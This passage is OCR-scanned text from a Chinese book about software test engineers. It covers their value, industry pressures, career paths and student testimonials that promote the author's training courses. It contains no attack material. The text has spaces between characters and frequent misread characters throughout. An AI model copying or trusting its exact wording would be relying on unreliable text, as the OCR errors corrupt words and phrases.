那么 一 点 点 的 坚持 才 有 了 现在 的 自己 。 

(6) 良好 的 人 品 。 其 实 想 在 一 个 行业 长 久 混 下 去 ,良好 的 人 品 和 口碑 是 
非常 重要 的 ,我 相信 凡是 经 历 过 的 朋友 一 定 懂 我 在 说 什么 。 有 的 人 属于 “ 双 

”, 需 要 你 的 时 候 , 你 对 他 有 利 的 时 候 会 各 种 “ 哄 ” 你 ,一 旦 你 对 他 没有 利用 

价值 或 者 是 构成 威胁 ,就 会 在 背后 *“ 阴 ”你 ,更 有 甚 者 还 会 做 出 娱乐 圈 经 常 有 
的 “ 潜 规 则 ”。 不 论 这 个 行业 怎么 变 , 不 论 你 身边 的 人 怎么 变 ,我 们 一 定 不 能 
让 自己 的 人 品 扭曲 ,这 也 是 一 个 优秀 者 最 有 力 的 法 宝 。 

(7) 热爱 测试 。 只 有 你 热爱 它 , 才 能 感受 到 它 的 乐趣 ,如 果 你 始终 带 着 
偏见 抱怨、 消极 的 看 法 又 怎 能 向 优秀 迈进 呢 。 

突然 想到 了 一 个 广告 语 ,与 大 家 共勉 :“ 从 未 年 轻 过 的 人 ,一 定 无 法 体会 
这 个 世界 的 偏见 。 我 们 被 世俗 拆散 ,也 要 为 爱情 勇往直前 ; 我 们 被 房价 郑 
辱 , 也 要 让 简陋 的 现实 变 得 温暖 ; 我 们 被 权威 漠视 ,也 要 为 自己 的 天 分 保持 
骄傲 ; 我 们 被 平庸 折磨 ,也 要 开始 说 走 就 走 的 冒险 。 所 谓 的 光辉 岁月 ,并 不 
是 后 来 闪耀 的 日 子 ,而 是 无 人 问津 时 ,你 对 梦想 的 偏执 ,你 是 否 有 勇气 ,对 自 
己 忠 诚 到 底 。” 
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13.3 ”再 谈 测 试 工程 师 的 价值 


这 个 话题 在 我 以 前 写 的 文章 中 多 次 谈论 过 ,也 是 业界 一 直 讨 论 的 热门 
话题 ,其实 我 一 直 不 太 明 白 为 什么 一 定 要 争辩 和 强调 价值 呢 ? 存在 即 合理 ， 
存在 即 价值 ,如 果 它 真 的 没有 价值 了 ,那么 肯定 会 消失 ! 

今天 我 们 就 换个 角度 再 来 看 看 价值 所 在 。 就 我 自己 浅薄 地 理解 ,大 致 
价值 体现 在 如 下 几 个 方面 。 

(1) 发 现 Bug。 这 个 是 毫 无 疑问 的 ,也 是 测试 工程 师 最 本 职 的 工作 ,如 
果 连 这 个 本 职工 作 都 无 法 做 到 极致 , 那 还 有 什么 资格 谈论 价值 呢 。 但 这 里 
也 存在 一 个 严重 的 问题 ,大 部 分 测试 工作 都 是 在 系统 测试 后 期 发 现 Bug 的 ， 
如 果 能 把 发 现 Bug 的 时 机 提前 ,这 样 修改 的 成 本 就 会 降低 ,也 就 能 更 好 地 体 
现 我 们 的 价值 了 。 

(2) 纽带 作用 。 说 句 实 话 这 是 一 个 吃力 不 讨好 的 事情 。 不 同人 和 事 的 
融合 必定 需要 一 个 “润滑 剂 * 存 在 ,就 像 是 汽车 里 用 的 机 油 , 没 有 机 油 的 存 
在 ,发 动机 、 零 部 件 就 会 存在 较 大 程度 的 磨损 。 而 测试 工程 师 的 价值 也 类 似 
机 油 , 当 你 存在 的 时 候 别 人 可 能 注意 不 到 你 的 价值 , 当 你 消失 了 也 许 就 会 凸 
显 你 的 价值 ,确实 很 尴 欣 啊 ! 

(3) 推动 研发 体系 的 完善 。 这 个 貌似 听 起 来 很 难 , 不 少 朋 友 党 得 测试 是 
最 低 端的 ,没有 办 法 做 这 些 事情 ,我 想 说 的 是 ,如 果 你 自己 都 看 不 起 自己 了 ， 
你 又 能 指望 谁 看 得 起 你 呢 ? 

测试 是 一 个 有 机 会 接触 全 流程 的 工作 ,在 这 个 过 程 中 你 可 以 总 结 不 少 
经 验 和 数据 ,以 事实 来 给 出 建议 ,这 是 完全 可 以 做 的 。 比 如 ,利用 Wiki、 
Confluence 等 软件 建立 知识 库 , 可 以 定期 总 结 分 析 缺 陷 来 推动 整体 的 质量 ， 
这 都 是 经 过 验证 的 可 行 之 路 。 

(4) 微 创 新 ,其实 就 是 挑战 更 多 可 能 性 。 测 试 工程 师 不 见得 就 只 能 在 
测试 方面 有 所 建树 ,只 要 敢 想 敢 做 ,一 切 篆 有 可 能 。 拿 我 自己 的 亲身 经 历 
而 言 ,我 曾 带领 测试 团队 协同 市 场 销售 的 同事 完成 了 一 款 APP 的 诞生 ， 
甚至 后 期 还 一 起 出 去 跑 市 场 , 最 终 提前 完成 了 公司 业绩 ,得 到 了 高 层 的 
一 致 认可 。 可 以 看 出 ,机 会 永远 是 留 给 敢于 尝试 的 人 ,不 是 每 天 只 想 不 
做 的 人 。 

(5) 内 部 价值 的 争斗 。 测 试 工程 师 除 了 要 提升 对 于 外 部 的 价值 ,还 有 一 
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个 内 部 争论 不 休 的 话题 就 是 手工 测试 和 性 能 、 自 动 化 测试 工程 师 的 价值 论 。 
其 实 我 个 人 觉得 这 个 有 点 好 笑 , 就 好 像 你 的 左右 手 , 我 们 大 部 分 人 都 是 右 撤 
子 , 右 手 比较 灵活 ,但 不 能 因为 这 样 你 就 认为 你 的 左手 就 不 重要 ,没有 存在 
的 价值 吧 ? 手工 .性 能 .自动 化 测试 亦 然 ! 

性 能 .自动 化 测试 只 是 提升 我 们 技能 的 一 种 途径 ,并 不 代表 它们 就 高 人 
一 等 。 再 举 个 网 上 看 到 的 例子 ,大 米 和 玫瑰 相 比 ,玫瑰 确实 更 加 诱 人 ,但 关 
键 时 刻 能 救 你 命 填 饱 你 肚子 的 是 大 米 啊 ! 

总 之 ,价值 这 个 东西 不 是 说 出 来 的 ,而 是 做 出 来 的 ,只 要 我 们 齐心 协力 
多 去 尝试 不 同 的 可 能 性 ,总 会 挖掘 出 来 应 有 的 价值 ,所 以 请 要 么 动手 ,要 么 
闭 嘴 。 多 用 点 时 间 来 提升 自己 , 少 花 点 时 间 去 聊 八卦 ,也 许 你 的 价值 会 更 快 
体现 出 来 。 


13.4 危机 ! 测试 工程 师 真 的 要 小 心 了 


转眼 已 经 在 测试 行业 混迹 了 数 年 ,测试 不 论 是 技术 还 是 行业 本 身 都 发 
生 了 巨大 进步 ,而 测试 工程 师 面临 的 危机 也 越 来 越 清 晰 。 提 到 危机 ,可 能 有 
的 人 会 觉得 小 题 大 做 ,其 实 , 只 有 以 正确 的 态度 意识 到 危机 ,我 们 才能 更 好 
地 进步 ,接受 它 要 比 排斥 它 更 加 明智 。 

就 我 自己 和 与 朋友 的 交流 中 来 看 ,测试 工程 师 的 危机 主要 集中 在 下 面 
几 个 方面 。 


1. 集中 外 包 化 是 趋势 


随 着 社会 的 发 展 ,竞争 愈加 激烈 ,一 切 不 以 营利 为 目的 的 公司 都 是 页 流 
谍 , 公 司 为 了 提升 利润 必然 会 对 非 核 心 部 门 或 业务 进行 外 包 。 很 多 公司 都 
在 这 么 干 , 像 大 家 熟知 的 百度 新浪、 搜狐 搜狗 、 滴 滴 等 都 先后 把 部 分 测试 业 
务 进行 了 外 包 。 我 这 里 说 的 是 部 分 测试 业务 ,并 不 是 所 有 的 ,核心 的 测试 业 
务 不 会 外 包 。 所 以 ,大 家 在 选择 职位 的 时 候 不 能 只 看 工资 了 ,如 果 是 非 核心 
的 工作 ,即使 你 工资 高 也 有 可 能 睡 一 觉 起 来 就 要 失业 了 。 


2. 长 江 后 浪 推 前 浪 


想必 大 家 都 能 明白 这 句 的 意思 ,从 小 强 测 试 培训 班 毕业 的 学 员 来 看 ,不 
少 90 后 和 80 末尾 的 朋友 月 薪 都 可 以 拿 到 1. 8 万 左右 ,平均 下 来 也 在 1.5 万 
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左右 ,优秀 的 年 薪 可 达 30 万 一 40 万 ,而 有 多 年 工作 经 验 的 朋友 薪水 可 能 才 
刚刚 过 万 甚至 更 低 。 

出 现 这 样 的 情况 的 很 大 原因 是 ,年 轻 人 没有 什么 压力 ,不 存在 家 庭 、 结 
婚 .孩子 ,老人 等 这 些 顾虑 ,加 之 现在 年 轻 人 的 心态 普遍 比较 开放 ,明白 现在 
花 钱 去 充电 学 习 一 些 新 技术 从 而 提升 自己 的 能 力 和 竞争 力 的 道理 ,所 以 很 
多 事情 都 愿意 去 尝试 ,也 不 怕 失 败 。 相 比 我 们 这 些 “ 老 年 人 ”, 上 有 老 , 下 有 
小 ,压力 实在 很 大 ,有 时 候 不 敢 去 做 更 多 的 尝试 ,更 愿意 按部就班 ,也 不 愿 花 
钱 和 精力 去 充电 学 习 新 技术 ,久而久之 , 反 被 “后 起 之 秀 ? 超 越 。 我 个 人 倒是 
觉得 ,生活 本 来 无 趣 , 何 不 做 一 些小 尝试 呢 , 也 许 能 给 你 的 生活 、 工 作 带 来 更 
多 的 色彩 。 而 且 你 永远 不 可 能 在 工作 上 噶 老 ,只 能 大 胆 地 投资 自己 ,为 不 可 
预知 的 将 来 做 更 多 的 储备 才 行 。 


3. APM 的 诞生 


如 果 有 朋友 听 过 我 的 “ 挨 踢 脱 口 秀 ”音频 节目 的 话 ,对 这 个 概念 一 定 不 
陌生 。 现 在 业界 比较 知名 的 APM 有 听 云 APM 和 OneAPM。 为 什么 我 会 
说 这 也 是 测试 工程 师 的 危机 呢 ? 就 是 因为 一 般 APM 都 可 以 轻 量 级 地 完成 
从 PC 端 .浏览 器 端 、. 移 动 客户 端 到 服务 端的 监控 ,定位 崩溃 . 卡 顿 ,交互 过 
慢 、 第 三 方 API 调用 失败 .数据库 性 能 下 降 、 网 络 质量 差 `.CDN 质量 差 等 多 
纬度 复杂 的 性 能 问题 ,还 可 以 快速 定位 代码 .SQL 语句 等 性 能 问题 ,可 以 大 
大 减少 运 维 工程 师 ,性 能 测试 工程 师 的 工作 量 。 看 到 这 里 ,你 还 能 淡定 吗 ? 


小 强 课 党 


APM 是 端 到 端 应 用 性 能 管理 解决 方案 ,为 企业 级 用 户 提供 全 面 立 
体 的 性 能 监控 与 管理 服务 。 统 一 履 盖 网 站 、 网 络 、 数 据 库 .服务 器 和 其 他 
应 用 基础 设施 ,主动 智能 告警 ,准确 定位 和 解决 根源 问题 。 


虽然 存在 这 样 的 危机 ,但 并 不 是 说 性 能 测试 工程 师 就 会 失业 甚至 消失 ， 
只 是 竞争 压力 会 增 大 ,要 求 会 增多 ,更 加 注重 你 的 逻辑 分 析 能 力 ,而 不 是 会 
写 个 脚本 、 搭 个 环境 就 够 了 。 即 使 APM 能 帮 我 们 定位 出 来 问题 ,但 验证 问 
题 .解决 问题 以 及 如 何 调 优等 工作 还 是 需要 靠 我 们 自己 不 断 尝 试 才能 找到 
最 佳 解决 方案 的 。 这 里 也 再 次 体现 出 来 ,逻辑 思维 能 力 和 完善 的 知识 体系 
的 重要 性 。 
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4. 开源 软件 的 发 展 


阿里 小米、 网 易 等 很 多 公司 已 经 在 逐步 开源 自用 的 软件 了 ,加 之 很 多 
个 人 开发 者 也 慢 慢 地 开源 出 来 自己 写 的 程序 ,所 以 开源 的 发 展 势头 确实 比 
前 几 年 要 好 很 多 。 既 然 开源 这 么 好 ,为 什么 也 会 带 来 危机 呢 ? 其 实 非常 好 
理解 , 随 着 开源 的 发 展 ,很 多 时 候 我 们 不 需要 再 重复 地 “ 造 轮子 ”, 只 需要 拿 
来 稍 作 修改 就 可 以 应 用 起 来 ,这 样 也 就 大 大 降低 了 成 本 和 门槛 。 就 拿 自动 
化 测试 工程 师 来 说 ,也 许 以 后 你 只 需 写 少量 的 代码 就 可 以 完成 强大 的 框架 ， 
这 完全 是 有 可 能 的 。 

虽然 有 危机 但 不 是 说 自动 化 测试 工程 师 就 会 失业 甚至 消失 ,因为 如 何 

合 这 些 资 源 并 产 出 一 套 适 合 自己 的 框架 就 是 你 需要 做 的 事情 了 ,而 这 时 
候 考 验 你 的 并 不 是 代码 的 能 力 , 而 恰恰 是 我 们 在 第 1 章 中 提 到 的 思维 构建 能 
pi 


5. 懒 情 


是 的 ,你 没 看 错 ,就 是 这 个 没 人 关心 的 因素 也 许 是 你 最 大 的 危机 。 现 在 
你 不 用 出 门 就 可 以 通过 各 种 平台 送 饭 上 门 ` 洗 衣 上 门 、 保 洁 上 门 , 真 不 敢 想 
象 有 一 天 我 们 在 家 里 就 可 以 完成 全 部 的 事情 会 是 什么 感觉 ,而 这 时 候 颌 愉 
也 许 已 经 充斥 了 全 身 。 你 还 愿意 学 习 吗 ? 还 愿意 提升 吗 ? 也许 真 的 …… 不 

有 危机 就 会 有 机 遇 , 我 们 只 有 正确 .客观 地 意识 到 危机 的 存在 ,才能 更 
好 地 做 准备 来 应 对 它们 ,而 不 是 掩耳盗铃 ,自己 麻痹 自己 ,不 敢 正 视 这 些 危 
机 。 很 多 伟人 的 伟大 之 处 不 是 在 于 聪明 ,而 是 他 们 能 比 我 们 更 早 地 看 到 这 
些 危机 ,让 我 们 一 起 加 油 吧 ! 


13.5 测试 工程 师 职业 发 展 路 线 图 


测试 工程 师 的 职业 发 展 也 是 很 多 朋友 特别 关心 的 话题 ,许多 人 不 知道 
未 来 之 路 该 怎么 走 。 本 节 我 们 就 来 分 享 测试 工程 师 的 未 来 发 展 之 路 ,在 我 
看 来 大 致 有 如 下 几 种 ,如 图 13. 3 所 示 。 其 中 部 分 发 展 路 线 也 是 我 自己 尝试 
过 的 ,希望 能 给 大 家 带 来 一 些 帮助 和 启发 。 
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图 13.3 测试 工程 师 职 业 发 展 路 线 图 


1. 手工 测试 和 功能 测试 工程 师 


这 个 是 大 部 分 人 要 经 历 的 阶段 ,该 阶段 主要 做 功能 的 手工 测试 ,就 是 去 
验证 各 种 业务 和 规则 是 否 符合 预期 。 这 个 阶段 做 久 了 很 多 人 会 麻木 ,其 实 
我 觉得 不 管 你 是 干什么 ,如 果 你 不 是 真正 喜欢 , 干 久 了 都 会 麻木 的 ,性 能 测 
试 和 自动 化 测试 也 是 如 此 。 在 这 个 阶段 我 们 要 尽 可 能 熟悉 业务 ,培养 自己 
的 测试 用 例 设 计 能 力 ,总 结 每 类 缺陷 的 解决 方案 ,相信 经 过 一 段 时 间 的 磨炼 
你 一 定 会 有 提升 ,而 这 个 提升 在 未 来 之 路 上 会 默默 地 帮助 你 。 

为 了 再 次 强调 业务 的 重要 性 ,我 举 个 实际 的 例子 ,我 曾经 面试 过 不 少 朋 
友 , 很 多 时 候 会 遇 到 这 样 的 人 : 技术 能 力 不 错 ,但 是 业务 上 实在 是 太 弱 了 ,很 
多 电 商 的 业务 一 点 都 不 知道 ,就 连 一 个 完整 的 电 商 流程 中 需要 测试 的 点 都 
没有 办 法 回答 全 面 。 尤 其 是 对 于 一 些 从 传统 企业 出 来 ,面试 互联 网 企业 的 
朋友 ,一定 要 把 这 方面 的 业务 补充 起 来 ,不然 会 比较 吃亏 。 


2. 性 能 测试 工程 师 


从 目前 来 看 ,专职 的 性 能 测试 不 是 很 多 。 主 要 是 因为 产品 频繁 地 改版 
与 变动 ,导致 精力 都 消耗 在 了 功能 测试 上 ,并 不 是 不 重视 性 能 。 对 于 性 能 测 
试 的 认 知 本 书 已 经 在 前 面 的 章节 讲述 过 很 多 ,所 以 此 处 不 再 重复 。 可 以 肯 
定 的 是 ,性 能 测试 是 大 部 分 测试 工程 师 转 型 .跳板 的 首选 ,不 一 定 未 来 真 的 
做 专职 的 性 能 ,但 可 以 帮助 我 们 在 职业 发 展 中 能 够 “鲤鱼 跃 龙门 ”。 


3. 自动 化 测试 和 测试 开发 工程 师 
这 里 我 并 没有 再 区 分 自动 化 测试 和 测试 开发 工程 师 ,其 实 本 质 上 差 得 
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不 多 ,就 是 一 个 名 称 而 已 。 

目前 ,自动 化 测试 的 情况 其 实 和 性 能 测试 差不多 ,除了 一 些 比较 大 的 、 
知名 的 公司 外 ,很 多 公司 只 是 在 喊 自动 化 测试 的 口号 而 已 。 这 类 工程 师 一 
般 在 公司 主要 是 完成 针对 业务 的 自动 化 测试 框架 的 开发 或 者 针对 部 门 内 部 
测试 的 支撑 平台 的 开发 。 

但 至 少 可 以 肯定 ,未 来 不 论 你 是 否 从 事 自 动 化 测试 ,有 一 定 的 代码 能 力 
是 必 备 条 件 ,而 且 在 谈 薪 水 的 时 候 你 也 有 资本 “要 上 价钱 ”。 


小 强 课 和 莹 


这 里 多 说 一 些 , 现 在 移动 端的 自动 化 测试 比较 火 , 个 人 觉得 属于 “ 虚 
火 ” 的 情况 多 一 些 。UI 层 的 自动 化 测试 有 一 定 的 限制 ,虽然 有 不 少 可 以 
针对 源码 进行 测试 的 框架 ,但 实际 上 大 部 分 公司 很 少 会 把 源码 开放 给 测 
试 工 程 师 的 ,即使 是 在 百度 这 样 的 大 公司 ,有 些 产 品 线 的 测试 也 必须 做 
黑金 测 试 ,不 开放 源码 。 


4. 移动 APP 专项 测试 工程 师 


在 之 前 的 章节 中 也 提 到 过 ,专项 测试 主要 是 针对 APP 前 端 在 CPU、 内 
存 . 电 量 流量 等 方面 的 测试 。 很 多 朋友 不 知道 APP 的 专项 测试 应 该 怎么 
做 ,其 实 不 外 乎 以 下 几 种 方式 (针对 Android 手机 ) 。 

(1) 在 源码 中 打点 。 利 用 Android 已 经 帮 你 封装 好 的 API, 在 你 源码 中 
的 相应 位 置 插入 即 可 。 

(2) Android 命令 。 比 如 ,adb shell screenrecord --bugreport /sdcard/ 
1. mp4 命令 等 。 

(3) 利用 软件 进行 测试 。 比 如 ,腾讯 GT。 

(4) 利用 硬件 进行 测试 。 比 如 , 功 耗 仪 。 

(5) 云 测 中 心 。 比 如 ,Testin、 百 度 MTC 等 。 

在 面试 移动 测试 工程 师 岗 位 时 ,必要 的 手机 和 APP 的 知识 是 一 定 要 掌 
握 的 ,可 是 我 发 现 居然 很 多 人 都 不 会 在 手机 上 配置 IP( 我 也 是 惊 呆 了 )。 多 
去 阅读 Android 官网 的 文档 ,上 面 有 各 种 测试 方法 、 大 量 案例 等 ,是 你 学 习 的 
绝 佳 资料 。 
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5. 安全 测试 工程 师 


现在 还 没有 火 起 来 ,属于 比较 小 众 的 测试 职位 ,但 是 如 果 你 在 安全 测试 
这 方面 造 讶 非凡 的 话 , 真 心 可 以 继续 发 展 下 去 , 据 我 所 知 ,薪水 待遇 非常 丰 
厚 。 对 于 大 部 分 朋友 来 说 ,利用 闲暇 时 间 学 习 点 安全 测试 方面 的 知识 还 是 
有 好 处 的 ,至 少 你 在 测试 一 个 业务 的 时 候 可 能 就 会 从 安全 的 角度 来 设计 用 
例 ,也许 就 测 出 了 不 一 样 的 Bug 哦 。 


6. 测试 管理 岗位 


这 个 岗位 也 是 大 部 分 朋友 需要 考虑 的 ,我 们 说 句 实在 话 , 随 着 年 龄 的 增 
长 ,家庭 压力 的 增 大 ,你 还 能 像 以 前 一 样 天 天 加 班 通宵 吗 ? 你 还 能 像 以 前 一 
样 保持 打 了 鸡 血 的 状态 去 学 习 吗 ? 很 多 现实 迫使 我 们 不 得 不 考虑 未 来 的 发 
展 之 路 。 测 试管 理 岗位 就 是 不 错 的 选择 。 但 是 ,大 家 不 要 误 以 为 做 了 管理 
者 就 高 枕 无 优 了 ,就 没有 压力 了 ,其 实 管理 者 的 压力 也 很 大 ,只 不 过 跟 做 工 
程 师 时 候 的 压力 类 型 不 一 样 而 已 。 


7. 产品 经 理 


从 测试 转变 为 产品 也 是 一 个 不 错 的 职业 发 展 路 径 , 而 且 我 本 人 已 经 实 
践 成 功 。 对 于 那些 纠结 于 是 否 要 继续 在 测试 行业 打拼 的 朋友 来 说 ,你 可 以 
尝试 转变 为 产品 经 理 。 对 于 产品 经 理 而 言 ,我 们 先 不 说 专业 技能 ,在 思维 逻 
辑 能 力 上 要 求 很 高 ,所 以 如 果 你 做 测试 的 时 候 逻 辑 能 力 非常 差 , 现 在 想 转 产 
品 经 理 就 要 慎重 考虑 下 了 。 

为 什么 从 测试 转产 品 也 是 一 条 好 路 子 呢 ? 其 实在 之 前 的 章节 中 已 经 提 
到 过 ,因为 测试 所 处 的 位 置 ,以 及 工作 内 容 和 打交道 的 人 决定 了 它 天 生 就 具 
有 产品 的 属性 。 而 且 ,如果 大 家 关注 产品 经 理 的 招聘 信息 ,可 能 会 发 现 越 来 
越 多 地 在 要 求 中 提 到 “具有 测试 经 验 和 背景 的 优先 考虑 ”。 但 是 ,大 家 不 要 
觉得 摆脱 了 测试 进入 了 产品 就 解脱 了 ,其 实 只 是 从 一 个 “ 坑 ? 进 入 了 另 一 个 
“ 坑 ” 而 已 。 


8. 创业 者 


如 果 你 足够 胆 大 ,是 够 热血 ,也 许 创业 也 是 一 种 很 好 的 选择 。 但 从 我 自 
己 的 经 历来 看 ,创业 绝对 不 是 大 家 看 到 的 表面 光鲜 ,其 实 是 非常 辛苦 的 一 件 
事情 ,用 身心 疲惫 来 说 一 点 都 不 为 过 。 可 能 会 有 朋友 觉得 ,如 果 拉 到 投资 就 
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非常 爽 了 ,我 可 以 负责 任 地 告诉 你 ,不 是 ! 你 在 拉 投 资 的 时 候 , 可 能 发 了 无 
数 封 BP( 商 业 计 划 书 ) ,也 许 一 个 VC( 风 险 投 资 ) 都 不 会 搭理 你 ,好 不 容易 有 
个 VC 感 兴 趣 , 见 面 聊 的 时 候 又 可 能 会 被 吕 视 得 抬 不 起 头 来 ,这 种 痛苦 没有 
亲身 经 历 很 难 体会 。 即 使 你 拿 到 投资 之 后 , 钱 也 是 分 阶段 给 你 的 ,而 且 你 的 
每 一 笔 花 费 都 要 有 记录 ,不 是 大 家 想 的 可 以 直接 入 自己 口袋 。 如 果 中 途 VC 
觉得 你 的 项 目 有 问题 了 ,还 可 能 中 止 投资 。 可 以 说 创业 几乎 是 如 履 薄 冰 , 但 
这 种 自由 ,给 自己 打工 的 感觉 即使 再 累 也 许 都 不 会 觉得 累 了 。 

这 些 大 致 就 是 测试 工程 师 未 来 可 以 选择 的 途径 ,当然 ,这 只 是 部 分 ,我 
们 也 相信 ,优秀 的 测试 工程 师 不 论 将 来 在 哪个 行业 、 哪 个 职位 都 一 定 会 绽放 
光彩 的 ! 


9. 其 他 


测试 工程 师 的 职业 发 展 之 路 其 实 非常 广 , 有 时 候 我 们 大 可 不 必 只 限于 
自己 的 圈子 内 , 像 我 的 朋友 以 及 学 员 中 从 测试 工程 师 转 型 为 客服 经 理 、 运 维 
工程 师 甚 至 销售 的 都 大 有 人 在 。 而 且 大 家 也 应 该 看 过 很 多 报道 ,IT 人 创业 
卖 肉 夹 馈 、 前 饼 的 ,完全 和 IT 圈 没 关系 。 所 以 , 心 有 多 大 ,舞台 就 有 多 大 ,有 
时 候 去 尝试 一 下 未 知 领域 也 许 是 你 职业 发 展 中 的 一 个 转折 点 。 


13.6 本章 小 结 


本 章 站 在 大 角度 上 对 测试 行业 的 现状 和 未 来 发 展 做 了 展望 ,也 从 小 角 
度 上 对 测试 工程 师 自身 的 发 展 做 了 分 析 , 只 有 认 清 当前 面临 的 危机 才能 正 
确 地 努力 提升 自己 的 能 力 , 向 优秀 的 测试 工程 师 迈 进 。 也 许 不 是 每 个 人 都 
能 成 为 优秀 的 人 ,但 至 少 我 们 努力 过 ,而 在 这 个 过 程 中 我 们 也 许 会 得 到 一 些 
意 想不到 的 收获 ,这 也 是 人 生 的 奇妙 之 处 。 如 果 你 在 职业 发 展 上 有 任何 疑 
惑 都 可 以 加 入 QQ 群 138269539 与 我 们 一 起 探讨 。 

扫 下 方 二 维 码 可 以 观看 视频 ,了 解 目前 互联 网 公司 的 薪资 水 平 。 

[OP 
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鸡汤 和 经 验 仿佛 就 是 两 剂 良药 , 当 你 "生病 ”的 时 候 喝 点 就 会 好 ,但 如 果 
你 过 分 依赖 它们 又 会 伤 身 。 

有 时 候 我 们 就 是 想法 太 多 ,顾虑 太 多 ,让 自己 无 法 前 进 。 仔 细 想 想 , 是 
自己 困 住 了 自己 ,是 自己 给 自己 戴 上 了 柳 锁 ! 那些 取得 好 成 绩 的 朋友 在 背 
后 付出 了 多 少 汗 水 ,又 有 多 少 人 知道 , 当 你 在 抱怨 、 犹 驳 的 时 候 , 他 们 正在 点 
灯 效 夜 学 习 。 虽 然 努力 不 见得 一 定 会 成 功 ,但 不 努力 肯定 会 碌碌 无 为 。 短 
暂 的 一 生 如 果 你 都 没有 奋斗 过 , 那 是 多 么 的 遗憾 啊 ! 

改变 ,永远 不 嫌 晚 。 无 论 你 是 几 岁 ,也 无 论 你 目前 所 处 的 境况 有 多 精 ， 
只 要 立定 目标 ,一 步 一 步 往 前 走 , 人 生 随 时 都 有 翻盘 的 可 能 性 。 

本 章 我 从 学 员 中 精 选 了 几 位 具有 代表 性 的 来 和 大 家 分 享 他 们 学 习 \ 成 
长 的 过 程 ,也 许 从 这 些 刚 刚 脱胎 换 骨 ,在 一 线 战 斗 的 人 身上 会 找到 自己 的 影 
子 , 体 会 到 更 多 的 真实 和 真诚 。 


14.1 90 后 美女 的 全 能 测试 虹 变 之 路 


学 员 小 惹 ( 化 名 ) 的 自述 
我 没有 刻意 去 写 些 什么 ,就 是 记录 一 些 自己 的 真实 经 历 。 
干 测试 也 有 几 年 经 验 , 做 过 功能 , 干 过 性 能 ,学 习 过 自动 化 。 测 试 的 “前 
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沿 技术 ”我 都 有 去 尝试 和 探索 ,当然 ,一 路 走 来 必然 少不了 恩师 
师 的 帮助 。 下 面 就 一 起 感受 下 我 的 赔 变 之 路 吧 。 

毕业 后 第 一 份 工作 ,选择 了 软件 测试 , 战 战 况 萄 地 投 出 了 人 生 的 第 一 份 
简历 ,毕竟 没有 经 验 ,面试 电话 并 不 多 , 当 接 到 面试 电话 的 时 候 ,激动 地 拿 起 
电话 ,紧张 地 回答 着 他 们 的 问题 。 奔 波 着 努力 着 ,终于 找到 了 人 生 的 第 一 份 
工作 。 一 开始 的 工作 就 是 熟悉 业务 ,然后 开始 "点 点 点 ”生涯 。 

说 起 来 ,一 开始 的 功能 测试 只 要 熟悉 业务 ,会 基本 的 “点 点 点 ”, 基 本 的 
软件 测试 思维 就 可 以 了 。 当 时 公司 就 两 个 测试 人 员 , 从 测试 计划 、 测 试 方 
案 .测试 用 例 到 测试 报告 ,都 需要 自己 来 做 ,确实 ,这 样 对 自己 的 能 力 很 有 提 
升 。 但 长 时 间 " 点 点 点 ”, 却 满足 不 了 不 甘 罕 寞 的 自己 。 觉 得 这 样 下 去 有 点 
浪费 生命 ,年 纪 轻 轻 却 没 什么 挑战 ,一 味 地 做 着 “点 点 点 ”工作 ,似乎 没有 什 
么 意义 ,就 想 给 自己 寻找 一 丝 “ 刺 激 ”, 制 造 一 份 挑战 。 当 然 ,在 人 生 最 纠结 、 
最 迷茫 .最 乏味 .最 需要 “新 鲜 感 ”的 时 候 , 遇 到 了 我 的 恩师 ,他 幽默 .逗趣 的 
讲课 方式 吸引 了 我 。 我 们 最 初 “相识 ”是 在 “ 播 布 课 ” 看 他 的 网 络 课程 ,跟着 
他 一 步 步 学 习性 能 测试 入门 课程 ,从 LoadRunner 基本 操作 ,性 能 测试 计划 
和 方案 、 性 能 调 优 再 到 性 能 测试 报告 编写 ,从 他 的 免费 网 络 视 频 到 51CTO 
的 系列 测试 视频 ,再 到 他 的 性 能 培训 班 , 给 我 带 来 的 收获 实在 太 多 太 多 。 每 
一 个 视频 都 是 小 强 老 师 精 心 准备 的 ,每 一 分 钟 都 是 不 容错 过 的 。 学 习性 能 
之 后 , 换 了 份 性 能 测试 的 工作 ,这 一 次 找 工作 比 第 一 次 要 快 很 多 。 第 一 ,有 
了 工作 经 验 ,第 二 ,学 会 了 性 能 测试 这 门 技术 。 俗 话说 “一 技 在 手 , 工 作 
不 愁 ”。 

进入 新 公司 ,开始 上 手 性 能 测试 工作 ,一 开始 心里 还 是 会 害怕 ,因为 毕 
竞 跟 之 前 的 功能 测试 还 是 有 技术 上 的 差异 ,又 有 新 的 挑战 。 但 是 ,深思 细 
想 ,这 不 就 是 曾经 我 所 期 盼 的 那 份 挑战 ,不 就 是 当初 我 找寻 的 那 份 新 鲜 感 
么 ”消除 了 所 有 的 胆 惰 , 勇 往 直 前 ,发 现 小 强 老师 教 我 的 那些 知识 都 是 和 工 
作息 息 相 关 的 ,每 一 个 点 都 是 那么 重要 , 正 是 因为 有 小 强 老师 的 无 私 传授 ， 
才 有 我 学 会 性 能 测试 这 门 技术 的 今天 。 在 工作 中 我 独立 完成 核心 业务 的 性 
能 测试 .Redis 数据 库 的 性 能 测试 等 ,收获 非常 大 。 跟 小 强 老师 学 习 的 过 程 
中 ,他 强调 :“ 不 要 纠结 某 个 点 ,不 要 钻 牛角 尖 , 不 要 太 注 重 一 件 事 情 的 结果 ， 
更 注重 你 自己 思考 和 解决 问题 的 过 程 ,思想 才 是 最 重要 的 ,最 核心 的 .学 会 
了 他 思考 问题 的 方式 .解决 问题 的 思想 .设计 方案 的 思路 ,那么 你 所 有 遇 到 
的 困难 和 问题 都 不 是 问题 。 一 路 走 来 ,我 非常 感谢 也 很 感激 有 这 么 一 个 和 
葛 可 亲 无 私 奉献 的 恩师 。 


小 强 老 
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随 着 互联 网 技术 不 断 的 更 新 ,技术 不 断 的 创新 ,自动 化 框架 开始 火 了 起 
来 , 火 遍 了 整个 互联 网 界 , 因 为 它 不 仅 可 以 提高 功能 测试 的 效率 ,更 能 准确 
地 记录 测试 结果 。 我 们 公司 也 不 例外 ,做 着 性 能 的 同时 ,领导 也 想 让 我 去 承 
担 部 分 自动 化 测试 , 想 要 我 把 公司 的 自动 化 框架 “ 搞 起 来 "”。 可 是 ,当时 我 是 
做 性 能 的 啊 , 性 能 测试 和 自动 化 测试 之 间 还 是 有 和 较 大 差异 的 。 但 是 ,往往 每 
项 技术 都 会 有 共通 性 , 换 小 强 老师 的 话 来 说 ,思想 都 是 可 通用 的 。 既 然 选择 
了 IT 行业 ,技术 知识 的 不 断 提 升 是 必 不 可 少 的 呀 ! 有 挑战 那 就 迎接 咽 , 继 
